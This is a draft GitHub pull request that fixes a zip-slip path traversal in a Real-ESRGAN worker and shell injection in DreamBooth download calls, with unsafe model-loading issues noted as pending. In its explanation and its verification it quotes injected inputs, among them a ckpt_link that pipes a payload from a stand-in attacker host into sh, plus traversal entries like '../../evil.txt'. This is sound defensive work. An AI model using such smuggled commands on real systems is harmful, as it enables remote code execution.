Skip to content

[WIP][SEC] SLS-310: fix zip-slip (Real-ESRGAN) and shell injection (DreamBooth)#30

Draft
jebenexer wants to merge 1 commit into
mainfrom
benjaminbrannaka/sls-310-sec-high-untrusted-input-rce-via-zip-slip-unsafe-model-load
Draft

[WIP][SEC] SLS-310: fix zip-slip (Real-ESRGAN) and shell injection (DreamBooth)#30
jebenexer wants to merge 1 commit into
mainfrom
benjaminbrannaka/sls-310-sec-high-untrusted-input-rce-via-zip-slip-unsafe-model-load

Conversation

@jebenexer

Copy link
Copy Markdown

Summary

Partial fix for SLS-310 — untrusted-input RCE vectors in serverless worker templates.

This PR covers the two fixes that are unambiguous / don't require further design input. It is intentionally WIP — the Dolly-Tuner and EveryDream unsafe model-load fixes are not included pending a design discussion with @jacob.cipar (see ticket comments) on whether to lock the loaded model at worker startup vs. a runtime allowlist.

What's fixed here

1. Real-ESRGAN zip-slip (workers/Real-ESRGAN/handler.py)

zip_ref.extractall(temp_dir) performed no validation on archive member paths. A malicious zip (reachable via the user-supplied data_url job input) containing entries like ../../../etc/whatever could write files outside the intended temp directory.

Added safe_extract(): resolves each member's target path and rejects any that would escape temp_dir, and rejects symlink entries outright (a symlink can point outside temp_dir regardless of what its declared name looks like).

Verified locally: benign zips still extract normally; ../../evil.txt and absolute-path entries are rejected with a clear error before any write happens.

2. DreamBooth shell injection (workers/DreamBooth-v1/docker_example/rp_custom_model.py)

ckpt_link and hf_model/hf_token (all job input) were interpolated directly into subprocess.run(f"...", shell=True) calls in downloadmodel_lnk and downloadmodel_hf. Since shell=True hands the whole formatted string to /bin/sh -c, shell metacharacters in job input (;, `, $(), |) are interpreted as additional commands, e.g. ckpt_link = "https://x; curl attacker.com/payload.sh | sh".

Changes:

  • Removed shell=True everywhere in this file (including the sed call in selected_model, for consistency — no shell=True remains in the file).
  • Replaced shell string interpolation with argv lists throughout.
  • Replaced the echo ... > .git/info/sparse-checkout shell redirection with direct Python file I/O.
  • Added basic input-shape validation as defense in depth: ckpt_link must have an http(s):// scheme, hf_model must match an org/repo slug pattern.

Verified with an actual exploit attempt (not just unit assertions): planted a fake gdown binary on PATH that logs its argv, ran the real code path with ckpt_link = "https://x; touch /tmp/PWNED #", and confirmed (a) /tmp/PWNED was never created, and (b) the entire malicious string arrived as a single literal argv element to gdown — proving the semicolon can no longer be interpreted as a shell command separator.

Explicitly NOT in this PR

  • Dolly-Tuner (workers/Dolly-Tuner/rp_handler.py) — base_model job input flows unconstrained into from_pretrained(), which can pickle-deserialize (torch.load) arbitrary HF repo content. Pending decision: lock the loaded model at worker startup (equality-check job input against it) vs. allowlist + use_safetensors=True.
  • EveryDream — same root cause as Dolly (resume_ckpt_urlfrom_pretrained), same pending decision.

Both are tracked on the Linear ticket and will follow in this PR (or a follow-up) once resolved.

Testing

No existing test harness in this repo (only test_input.json fixtures for runpod-python's local test runner). Given the security-sensitive nature of these changes, I wrote and ran targeted exploit-style verification scripts locally (see PR description above) rather than relying on py_compile alone. Both touched files pass python3 -m py_compile.

- Real-ESRGAN: add safe_extract() to validate archive member paths before
  extraction, rejecting path traversal and symlink entries. Fixes zip-slip
  from untrusted data_url zip uploads.
- DreamBooth: remove all shell=True subprocess calls in rp_custom_model.py
  (downloadmodel_lnk, downloadmodel_hf, selected_model), replacing shell
  string interpolation with argv lists. Adds URL-scheme validation on
  ckpt_link and org/repo slug validation on hf_model as defense in depth.

Part of SLS-310. Dolly-Tuner and EveryDream unsafe model-load fixes are
pending design input (see Linear ticket comments) and are not included in
this PR.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant